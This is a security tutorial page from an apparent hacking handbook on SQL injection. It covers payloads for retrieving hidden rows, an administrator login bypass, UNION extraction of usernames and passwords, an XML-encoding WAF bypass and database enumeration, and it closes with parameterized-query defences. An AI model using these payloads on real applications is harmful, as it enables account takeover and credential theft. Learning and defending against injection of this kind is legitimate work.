> ## Documentation Index
> Fetch the complete documentation index at: https://hackbook.dudji.com/llms.txt
> Use this file to discover all available pages before exploring further.

# SQL Injection

> From data extraction to OS command execution — SQL injection techniques and methodology.

## Injection Points

While most SQLi occurs in WHERE clauses, vulnerabilities can appear anywhere in a query:

| Location | Example                            |
| -------- | ---------------------------------- |
| UPDATE   | Updated values or WHERE clause     |
| INSERT   | Inserted values                    |
| SELECT   | Table/column name, ORDER BY clause |

### Attack Types

* Retrieving hidden data — modify a query to return additional results
* Subverting application logic — alter query behavior to bypass checks
* UNION attacks — pull data from other tables
* Blind SQLi — exploit queries whose results aren't directly returned

### Example: Retrieving Hidden Data

Original request and query:

```
GET /products?category=Gifts
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

Attack 1 — comment out the rest:

```
/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```

Attack 2 — return all rows:

```
/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

`OR 1=1` makes the WHERE clause always true; `--` discards the trailing conditions. Result: all products returned, including unreleased ones.

### Subverting Application Logic

A typical login query:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```

By submitting `administrator'--` as the username (with a blank password), the query becomes:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

`--` comments out the password check entirely, so the attacker logs in as administrator with no password required.

### Retrieving Data from Other Tables

Using the UNION keyword, an attacker can append a second SELECT to an existing query and pull data from entirely different tables.

Original query:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name, description FROM products WHERE category = 'Gifts'
```

Injecting `' UNION SELECT username, password FROM users--` produces:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name, description FROM products WHERE category = 'Gifts'
UNION SELECT username, password FROM users--
```

The response now includes all usernames and passwords alongside the normal product results.

### Blind SQL Injection

With blind SQLi, the application doesn't return query results or error details — but the vulnerability can still be exploited. Techniques include:

* **Boolean-based** — inject a condition that changes the app's response depending on whether it's true or false (e.g. injecting into Boolean logic or triggering a divide-by-zero error)
* **Time-based** — conditionally trigger a time delay; infer truth from how long the app takes to respond
* **Out-of-band (OAST)** — trigger an external network interaction (e.g. a DNS lookup to a domain you control) to exfiltrate data directly; useful when other techniques fail

## Second-Order SQL Injection

First-order SQLi is straightforward — user input from an HTTP request is immediately incorporated into a SQL query unsafely.

Second-order (aka stored) SQLi is more subtle: the application stores the user input safely at first, but later retrieves it and incorporates it into a query unsafely. The vulnerability isn't at the point of storage — it triggers on a completely different HTTP request down the line.

<img src="https://dudji.gitbook.io/hackbook/~gitbook/image?url=https%3A%2F%2F2166287169-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FaLYdKLEEzXaL0ACxZZHt%252Fuploads%252FeYoKCvvW5ZC8IS3Sia9g%252Fimage.png%3Falt%3Dmedia%26token%3Dc2ec0014-53e1-40c3-af1a-ed3254bbb84d&width=768&dpr=3&quality=100&sign=d5379125&sv=2" alt="Second-order SQL injection diagram" />

## Examining the Database

SQL behaves differently across platforms — techniques that work on MySQL may not work on Oracle. Key differences include syntax for string concatenation, comments, batched queries, platform-specific APIs, and error messages.

Once a vulnerability is confirmed, fingerprinting the database helps tailor the attack. Two useful starting points:

Version detection (result reveals DB type):

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM v$version  -- Oracle
```

List all tables:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.tables  -- Most databases
```

### SQL Injection in Different Contexts

SQLi isn't limited to query strings — any input processed as SQL is a potential vector, including JSON and XML bodies.

These formats can also help bypass WAFs: filters that block keywords like `SELECT` can often be evaded by encoding or escaping characters. For example, encoding the `S` in `SELECT` as an XML escape sequence:

```xml theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
```

The server decodes `&#x53;` back to `S` before passing it to the SQL interpreter — bypassing the filter while executing normally.

### How to Prevent SQL Injection

The fix for most SQLi is parameterized queries (aka prepared statements) — never concatenate user input directly into a query.

Vulnerable:

```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
String query = "SELECT * FROM products WHERE category = '" + input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
```

Safe:

```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
PreparedStatement statement = connection.prepareStatement(
    "SELECT * FROM products WHERE category = ?"
);
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```

Parameterized queries work for WHERE, INSERT, and UPDATE values — but can't handle table/column names or ORDER BY clauses. For those, use:

* Whitelisting permitted input values
* Different logic to deliver the required behavior

One critical rule: the query string must always be a hard-coded constant — never mix in variable data of any origin, even if you think it's safe. It's easy to misjudge the origin of data, or for future code changes to introduce tainted input into what was once a trusted path.

### Examining the Database

#### Querying Version & Type

Inject provider-specific version queries to fingerprint the database:

| Database         | Query                     |
| ---------------- | ------------------------- |
| Microsoft, MySQL | `SELECT @@version`        |
| Oracle           | `SELECT * FROM v$version` |
| PostgreSQL       | `SELECT version()`        |

Using a UNION attack:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT @@version--
```

A response like the below confirms **Microsoft SQL Server** and reveals the exact version:

```
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0
```

## Listing Database Contents

Query `information_schema.tables` to list all tables:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.tables
```

```
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE
```

Then drill into a specific table with `information_schema.columns`:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

```
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar
```

Oracle doesn't have `information_schema` — use these equivalents instead:

```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM all_tables                                    -- list tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'   -- list columns
```
